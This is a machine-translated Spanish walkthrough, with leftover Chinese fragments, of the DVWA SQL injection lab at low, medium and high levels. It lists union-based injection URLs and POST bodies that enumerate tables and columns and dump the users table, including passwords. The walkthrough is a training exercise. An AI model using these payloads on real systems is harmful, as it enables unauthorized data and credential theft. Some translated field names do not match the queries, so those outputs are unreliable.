Directorio de artículos
Autorización DVWA-SQLi
Primario: obtención del número de versión de la base de datos
Determinar el tipo de inyección.
Pruebe con comillas simples y dobles una por una, y descubra que las comillas simples causarán un error, pero las comillas dobles no informarán un error, por lo que es un tipo de cadena que usa comillas simples.
en conclusión:
En la inyección de caracteres, qué símbolo causa un error, representa la inyección de caracteres de qué símbolo
ordenar por número de campos inferidos
http://localhost/dv/vulnerabilities/sqli/?id=2' order by 2--+ &Submit=Submit#
Número de versión de la base de datos de consulta de inyección conjunta
http://localhost/dv/vulnerabilities/sqli/?id=2' and 1=2 union select version(),2--+ &Submit=Submit#
Intermedio: obtener el nombre de la base de datos
Juzgando el estado del eco:
Se encontró que tenía un eco.
Determine el tipo de inyección: pruebe con cotizaciones
Resulta que nuestras citas se escaparon.
ordenar por calcula el número de campos
Suponiendo que es de tipo numérico y debido a que tiene eco, intente usar ordenar por para calcular el campo.
Cuando llegue a 3, se informará un error, para que pueda saber que el número de campos es 2
Obtener ubicación de eco de datos
post请求(如图):
Submit=Submit&id=2 and 1=2 union select 1,2
consulta conjunta
El nombre de la base de datos se puede obtener mediante una consulta conjunta sindical.
post请求(如图):
Submit=Submit&id=2 and 1=2 union select 1,database()
auditoría del código fuente
Dado que la función mysqli_real_escape_string() se usa en el código fuente para escapar de los datos que ingresamos, no se puede usar la inyección de caracteres. Sin embargo, la declaración en el código fuente no es una inyección de caracteres, sino una inyección numérica, y debido a que la página hace eco, Entonces puedes usar la inyección conjunta para obtener el nombre de la base de datos.
Avanzado: obtenga cualquier contenido
El nivel avanzado es en realidad similar al nivel intermedio, ambos usan inyección conjunta, la diferencia es que el nivel avanzado debe cerrarse con comillas simples y este nivel no tiene la función mysqli_real_escape_string() para escapar del contenido que ingresamos.
Eco del juicio
Al ingresar diferentes ID, se descubre que se muestran diferentes resultados en la página, confirme que hay un eco
Determinar el tipo de inyección.
Al probar comillas simples y comillas dobles, se descubre que las comillas simples informan un error, por lo que el tipo de inyección es un tipo de cadena de comillas simples.
El número de campos calculados por orden es 2
http://localhost/dv/vulnerabilities/sqli/?id=1' order by 3--+&Submit=Submit#
Determinar la posición del eco.
http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select 1,2--+&Submit=Submit#
Para que pueda obtener contenido arbitrario mediante inyección conjunta
obtener la versión de la base de datos
http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select database(),version()--+&Submit=Submit#
Base de datos: dvwa
Versión: 5.5.53
Obtener las tablas en la base de datos.
http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()--+&Submit=Submit#
表:libro de visitas,usuarios
Obtener los campos de la tabla del libro de visitas.
http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name="guestbook"--+&Submit=Submit#
Campos de la tabla del libro de visitas: comment_id, comentario, nombre
Obtenga todos los datos de la tabla del libro de visitas.
http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select CONCAT(comment_id,'--',comment,'--',name),2 from dvwa.guestbook --+&Submit=Submit#
datos:
1--This is a test comment.--test
Obtener los campos de la tabla de usuarios.
http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name="users"--+&Submit=Submit#
usuarios表的字段:id_usuario,nombre,apellido,usuario,contraseña,avatar,último_inicio de sesión,inicio de sesión fallido
Obtener todos los datos en la tabla de usuarios.
http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select CONCAT(user_id,'--',first_name,'--',last_name,'--',user,'--',password,'--',avatar,'--',last_login,'--',failed_login),2 from dvwa.users --+&Submit=Submit#